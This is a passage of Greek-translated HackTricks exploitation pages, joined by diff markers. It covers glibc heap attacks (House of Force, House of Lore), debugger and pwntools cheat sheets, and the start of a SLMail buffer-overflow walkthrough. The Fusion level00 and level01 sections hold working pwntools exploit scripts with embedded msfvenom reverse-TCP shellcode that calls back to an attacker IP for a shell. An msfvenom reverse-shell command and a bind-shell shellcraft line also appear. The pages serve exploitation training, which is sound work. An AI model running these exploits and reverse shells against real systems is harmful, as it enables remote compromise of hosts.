Εάν αυτό πληρούται, όταν κληθεί το επόμενο malloc που είπαμε ότι ήταν malloc(40) θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Εάν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc μπορεί να υπεργράψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει.
Αυτό πιστεύω ότι συμβαίνει γιατί έτσι όταν το απελευθερώσει το free() θα κρατήσει ότι στη διεύθυνση που δείχνει το EBP της στοίβας υπάρχει ένα κομμάτι μεγέθους τέλειου για το νέο malloc() που θέλει να κρατήσει, έτσι του αναθέτει αυτή τη διεύθυνση.
**The House of Force**
Απαιτείται:
- Μια υπερχείλιση σε ένα κομμάτι που επιτρέπει την υπεργραφή της wilderness
- Μια κλήση στο malloc() με το μέγεθος που καθορίζεται από τον χρήστη
- Μια κλήση στο malloc() των δεδομένων που μπορούν να καθοριστούν από τον χρήστη
Το πρώτο που γίνεται είναι να υπεργραφεί το μέγεθος του κομματιού wilderness με μια πολύ μεγάλη τιμή (0xffffffff), έτσι οποιαδήποτε αίτηση μνήμης αρκετά μεγάλη θα αντιμετωπιστεί στο \_int_malloc() χωρίς να χρειάζεται να επεκταθεί το heap
Το δεύτερο είναι να τροποποιηθεί το av->top ώστε να δείχνει σε μια περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου, όπως η στοίβα. Στο av->top θα τοποθετηθεί \&EIP - 8.
Πρέπει να υπεργράψουμε το av->top ώστε να δείχνει στην περιοχή μνήμης υπό τον έλεγχο του επιτιθέμενου:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Η Victim συλλέγει την τιμή της διεύθυνσης του τρέχοντος κομματιού wilderness (το τρέχον av->top) και η remainder είναι ακριβώς το άθροισμα αυτής της διεύθυνσης με την ποσότητα των bytes που ζητήθηκαν από το malloc(). Έτσι, αν \&EIP-8 είναι στο 0xbffff224 και το av->top περιέχει 0x080c2788, τότε η ποσότητα που πρέπει να κρατήσουμε στο malloc που ελέγχεται ώστε το av->top να δείχνει στο $EIP-8 για την επόμενη κλήση malloc() θα είναι:
0xbffff224 - 0x080c2788 = 3086207644.
Έτσι θα αποθηκευτεί στο av->top η τροποποιημένη τιμή και η επόμενη malloc θα δείχνει στο EIP και θα μπορεί να το υπεργράψει.
Είναι σημαντικό να γνωρίζουμε ότι το μέγεθος του νέου κομματιού wilderness είναι μεγαλύτερο από την αίτηση που έγινε από την τελευταία malloc(). Δηλαδή, εάν η wilderness δείχνει στο \&EIP-8, το μέγεθος θα είναι ακριβώς στο πεδίο EBP της στοίβας.
**The House of Lore**
**Διαφθορά SmallBin**
Τα κομμάτια που απελευθερώνονται εισάγονται στο bin ανάλογα με το μέγεθός τους. Αλλά πριν εισαχθούν αποθηκεύονται σε unsorted bins. Ένα κομμάτι απελευθερωμένο δεν εισάγεται αμέσως στο bin του αλλά παραμένει σε unsorted bins. Στη συνέχεια, εάν ζητηθεί ένα νέο κομμάτι και το προηγούμενο απελευθερωμένο μπορεί να χρησιμοποιηθεί, επιστρέφεται, αλλά αν ζητηθεί μεγαλύτερο, το απελευθερωμένο κομμάτι σε unsorted bins εισάγεται στο κατάλληλο bin του.
Για να φτάσουμε στον ευάλωτο κώδικα, η αίτηση μνήμης πρέπει να είναι μεγαλύτερη από το av->max_fast (72 συνήθως) και μικρότερη από το MIN_LARGE_SIZE (512).
Εάν στο bin υπάρχει ένα κομμάτι του κατάλληλου μεγέθους για αυτό που ζητείται, επιστρέφεται αυτό μετά την αποσύνδεσή του:
bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μόνη πληροφορία που μπορούμε να τροποποιήσουμε.
bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στη στοίβα, στο επόμενο κομμάτι που θα κρατηθεί θα δοθεί αυτή η διεύθυνση
bck->fd = bin; Κλείνει τη λίστα κάνοντάς το να δείχνει στο bin
Απαιτείται:
Να κρατηθούν δύο malloc, έτσι ώστε στο πρώτο να μπορεί να γίνει υπερχείλιση αφού το δεύτερο έχει απελευθερωθεί και εισαχθεί στο bin του (δηλαδή, να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν γίνει η υπερχείλιση)
Να ελέγχεται το malloc που κρατείται στο οποίο θα δοθεί η διεύθυνση που επιλέγει ο επιτιθέμενος.
Ο στόχος είναι ο εξής, εάν μπορούμε να κάνουμε υπερχείλιση σε ένα heap που έχει από κάτω ένα κομμάτι που έχει ήδη απελευθερωθεί και είναι στο bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Εάν τροποποιήσουμε τον δείκτη bk του και αυτό το κομμάτι γίνει το πρώτο της λίστας του bin και κρατηθεί, το bin θα παραπλανηθεί και θα του πει ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) είναι στη διεύθυνση ψεύτικη που έχουμε βάλει (στη στοίβα ή GOT για παράδειγμα). Έτσι, εάν κρατηθεί ένα άλλο κομμάτι και ο επιτιθέμενος έχει δικαιώματα σε αυτό, θα του δοθεί ένα κομμάτι στη θέση που επιθυμεί και θα μπορεί να γράψει σε αυτήν.
Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στο bin του.
Μόλις είναι στο bin του, είναι η στιγμή να τροποποιηθεί ο δείκτης bk μέσω της υπερχείλισης ώστε να δείχνει στη διεύθυνση που θέλουμε να υπεργράψουμε.
Έτσι, το bin θα περιμένει τη σειρά του ώστε να κληθούν αρκετές φορές malloc() ώστε να ξαναχρησιμοποιηθεί το τροποποιημένο bin και να παραπλανήσει το bin κάνοντάς του να πιστέψει ότι το επόμενο κομμάτι είναι στη ψεύτικη διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει.
Για να εκτελεστεί η ευαλωτότητα το συντομότερο δυνατό, το ιδανικό θα ήταν: Κράτηση του ευάλωτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός μεγαλύτερου κομματιού από το τροποποιημένο, τροποποίηση του κομματιού (ευαλωτότητα), κράτηση ενός κομματιού ίδιου μεγέθους με το τροποποιημένο και κράτηση ενός δεύτερου κομματιού ίδιου μεγέθους και αυτό θα είναι αυτό που θα δείχνει στη διεύθυνση που επιλέγεται.
Για να προστατευτεί αυτή η επίθεση χρησιμοποιήθηκε η τυπική επαλήθευση ότι το κομμάτι “δεν” είναι ψεύτικο: ελέγχεται αν το bck->fd δείχνει στο victim. Δηλαδή, στην περίπτωσή μας αν ο δείκτης fd\* του κομματιού ψεύτικου που δείχνει στη στοίβα δείχνει στο victim. Για να παρακαμφθεί αυτή η προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει με κάποιο τρόπο (πιθανώς μέσω της στοίβας) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι ώστε να φαίνεται σαν ένα πραγματικό κομμάτι.
**Διαφθορά LargeBin**
Απαιτούνται οι ίδιες προϋποθέσεις όπως πριν και μερικές ακόμη, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512.
Η επίθεση είναι όπως η προηγούμενη, δηλαδή, πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις σε malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το μέγεθος - nb να είναι < MINSIZE.
Για παράδειγμα, θα κάνει να βάλουμε στο μέγεθος 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική γιατί συγκρίνεται ένα unsigned)
Επιπλέον, έχει εισαχθεί μια επιδιόρθωση για να γίνει ακόμη πιο περίπλοκο.
**Heap Spraying**
Βασικά συνίσταται στην κράτηση όλης της δυνατής μνήμης για heaps και γέμισμα αυτών με ένα στρώμα nops που καταλήγει σε μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Έτσι, θα προσπαθήσουμε να παραλείψουμε στη διεύθυνση 0x0c0c0c0c, και έτσι αν υπεργραφεί κάποια διεύθυνση στην οποία θα κληθεί με αυτό το στρώμα θα παραλειφθεί εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργραφεί κάποιος δείκτης και να παραλείψουμε στο 0x0c0c0c0c περιμένοντας ότι εκεί θα υπάρχουν nops.
**Heap Feng Shui**
Συνίσταται στη σπορά της μνήμης μέσω κρατήσεων και απελευθερώσεων έτσι ώστε να παραμένουν κομμάτια κρατημένα ανάμεσα σε ελεύθερα κομμάτια. Το buffer που θα υπερχειλίσει θα τοποθετηθεί σε ένα από τα αυγά.
**objdump -d εκτελέσιμο** —> Disas functions\
**objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ** —> Λάβετε τη διεύθυνση της συνάρτησης\
**objdump -d -Mintel ./shellcodeout** —> Για να δείτε ότι είναι πράγματι η shellcode μας και να εξάγετε τους OpCodes\
**objdump -t ./exec | grep varBss** —> Πίνακας συμβόλων, για να εξάγετε τη διεύθυνση μεταβλητών και συναρτήσεων\
**objdump -TR ./exec | grep exit(func lib)** —> Για να εξάγετε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Εξάγει τη διεύθυνση του puts προς υπεργραφή στην GOT\
**objdump -D ./exec** —> Disas ALL μέχρι τις εισόδους της plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Πληροφορίες για τη συνάρτηση στο gdb
## Ενδιαφέροντα μαθήματα
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Αναφορές**
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,60 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Level00
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. Πάρτε την απόσταση για να τροποποιήσετε το EIP
2. Βάλτε τη διεύθυνση του shellcode στο EIP
```python
from pwn import *
r = remote("192.168.85.181", 20000)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.recvline()
r.send(buf)
r.interactive()
```
# Επίπεδο01
```python
from pwn import *
r = remote("192.168.85.181", 20001)
buf = "GET " # Needed
buf += "A"*139 # Offset 139
buf += p32(0x08049f4f) # Adress of: JMP esp
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
buf += " HTTP/1.1" # Needed
buf += "\x90"*100 # NOPs
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
buf += "\x65\xd9\x0f\x01"
r.send(buf)
r.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,210 +0,0 @@
# Εργαλεία Εκμετάλλευσης
{{#include ../../banners/hacktricks-training.md}}
## Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Εγκατάσταση
```
apt-get install gdb
```
### Παράμετροι
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Οδηγίες
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit
# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process
# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes
# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate
# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table
# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB ίδιες διευθύνσεις
Κατά την αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό αρχείο κατά την εκτέλεση.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Βάλτε την απόλυτη διαδρομή στο δυαδικό αρχείο_
- Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή
- `PWD` και `OLDPWD` πρέπει να είναι οι ίδιες κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού αρχείου
#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων
Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη.**\
Μπορείτε εύκολα να εντοπίσετε αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
`gdbserver --multi 0.0.0.0:23947` (στην IDA πρέπει να συμπληρώσετε τη απόλυτη διαδρομή του εκτελέσιμου στη Linux μηχανή και στη Windows μηχανή)
## Ghidra
### Βρείτε την απόσταση στο stack
**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\
υμηθείτε ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._
![](<../../images/image (616).png>)
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\
**-o** --> Έξοδος\
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux
**Για να συμπιέσετε ένα shellcode:**\
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
**ld assembly.o -o shellcodeout** --> Εκτελέσιμο
## Objdump
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
**-Mintel** --> **Σύνταξη Intel**\
**-t** --> **Πίνακας συμβόλων**\
**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
**-s -j .dtors** --> τμήμα dtors\
**-s -j .got** --> τμήμα got\
\-D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\
**-TR** --> **Μετατοπίσεις**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή μια στατική μεταβλητή (αυτές αποθηκεύονται στην τμήμα DATA).
## Core dumps
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμα μου
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## Περισσότερα
**ldd εκτελέσιμο | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Απόσταση του "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Απόσταση του "/bin/sh"
**strace εκτελέσιμο** --> Λειτουργίες που καλούνται από το εκτελέσιμο\
**rabin2 -i ejecutable -->** Διεύθυνση όλων των λειτουργιών
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Αποσφαλμάτωση σε απομακρυσμένο linux
Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο _linux_server_ ή _linux_server64_ μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό:
```
./linux_server64 -Ppass
```
Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Debugger (linux remote) --> Επιλογές διαδικασίας...:
![](<../../images/image (101).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,146 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
# Pwn asm
Λάβετε opcodes από γραμμή ή αρχείο.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Μπορεί να επιλέξει:**
- τύπος εξόδου (raw, hex, string, elf)
- περιεχόμενο αρχείου εξόδου (16, 32, 64, linux, windows...)
- αποφυγή byte (νέες γραμμές, null, μια λίστα)
- επιλέξτε encoder debug shellcode χρησιμοποιώντας gdb εκτελέστε την έξοδο
# **Pwn checksec**
Checksec script
```
pwn checksec <executable>
```
# Pwn constgrep
# Pwn cyclic
Πάρε ένα μοτίβο
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Μπορεί να επιλεγεί:**
- Το χρησιμοποιούμενο αλφάβητο (χαμηλά γράμματα από προεπιλογή)
- Μήκος μοναδικού μοτίβου (προεπιλογή 4)
- συμφραζόμενα (16,32,64,linux,windows...)
- Πάρτε την απόκλιση (-l)
# Pwn debug
Συνδέστε το GDB σε μια διαδικασία
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Μπορεί να επιλεγεί:**
- Με εκτελέσιμο, με όνομα ή με pid context (16,32,64,linux,windows...)
- gdbscript προς εκτέλεση
- sysrootpath
# Pwn disablenx
Απενεργοποίηση nx ενός δυαδικού αρχείου
```
pwn disablenx <filepath>
```
# Pwn disasm
Αποσυναρμολόγηση hex opcodes
```
pwn disasm ffe4
```
**Μπορεί να επιλέξει:**
- συμφραζόμενα (16,32,64,linux,windows...)
- βασική διεύθυνση
- χρώμα (προεπιλογή)/χωρίς χρώμα
# Pwn elfdiff
Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων
```
pwn elfdiff <file1> <file2>
```
# Pwn hex
Λάβετε την εξαγωγή σε δεκαεξαδική μορφή
```bash
pwn hex hola #Get hex of "hola" ascii
```
# Pwn phd
Πάρε hexdump
```
pwn phd <file>
```
**Μπορεί να επιλέξει:**
- Αριθμός byte προς εμφάνιση
- Αριθμός byte ανά γραμμή για επισήμανση byte
- Παράλειψη byte στην αρχή
# Pwn pwnstrip
# Pwn scrable
# Pwn shellcraft
Αποκτήστε shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Μπορεί να επιλέξει:**
- shellcode και παραμέτρους για το shellcode
- Έξοδος αρχείου
- μορφή εξόδου
- αποσφαλμάτωση (σύνδεση dbg με το shellcode)
- πριν (παγίδα αποσφαλμάτωσης πριν από τον κώδικα)
- μετά
- αποφυγή χρήσης opcodes (προεπιλογή: όχι κενό και νέα γραμμή)
- Εκτέλεση του shellcode
- Χρώμα/χωρίς χρώμα
- λίστα syscalls
- λίστα πιθανών shellcodes
- Δημιουργία ELF ως κοινή βιβλιοθήκη
# Πρότυπο Pwn
Πάρτε ένα πρότυπο python
```
pwn template
```
**Μπορεί να επιλεγεί:** host, port, user, pass, path και quiet
# Pwn unhex
Από hex σε string
```
pwn unhex 686f6c61
```
# Pwn ενημέρωση
Για να ενημερώσετε το pwntools
```
pwn update
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,237 +0,0 @@
# Windows Exploiting (Basic Guide - OSCP lvl)
{{#include ../banners/hacktricks-training.md}}
## **Αρχίστε να εγκαθιστάτε την υπηρεσία SLMail**
## Επανεκκίνηση της υπηρεσίας SLMail
Κάθε φορά που χρειάζεται να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
```
net start slmail
```
![](<../images/image (23) (1).png>)
## Πολύ βασικό πρότυπο εκμετάλλευσης python
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Αλλαγή Γραμματοσειράς Immunity Debugger**
Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Συνδέστε τη διαδικασία με το Immunity Debugger:**
**File --> Attach**
![](<../images/image (24) (1) (1).png>)
**Και πατήστε το κουμπί START**
## **Στείλτε την εκμετάλλευση και ελέγξτε αν επηρεάζεται το EIP:**
![](<../images/image (25) (1) (1).png>)
Κάθε φορά που διακόπτετε την υπηρεσία, θα πρέπει να την επανεκκινείτε όπως αναφέρεται στην αρχή αυτής της σελίδας.
## Δημιουργήστε ένα μοτίβο για να τροποποιήσετε το EIP
Το μοτίβο θα πρέπει να είναι όσο το δυνατόν μεγαλύτερο από το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
![](<../images/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Αλλάξτε το buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκκινήστε την εκμετάλλευση.
Μια νέα συντριβή θα πρέπει να εμφανιστεί, αλλά με διαφορετική διεύθυνση EIP:
![](<../images/image (27) (1) (1).png>)
Ελέγξτε αν η διεύθυνση ήταν στο μοτίβο σας:
![](<../images/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στην απόσταση 2606** του buffer.
Ελέγξτε το τροποποιώντας το buffer της εκμετάλλευσης:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει στο 42424242 ("BBBB")
![](<../images/image (30) (1) (1).png>)
![](<../images/image (29) (1) (1).png>)
Φαίνεται ότι λειτουργεί.
## Έλεγχος για χώρο Shellcode μέσα στη στοίβα
600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό shellcode.
Ας αλλάξουμε το bufer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
εκκινήστε την νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode
![](<../images/image (31) (1).png>)
![](<../images/image (32) (1).png>)
Μπορείτε να δείτε ότι όταν επιτευχθεί η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ.
Σε αυτή την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Αρκετό.
## Έλεγχος για κακά χαρακτήρες
Αλλάξτε ξανά το buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
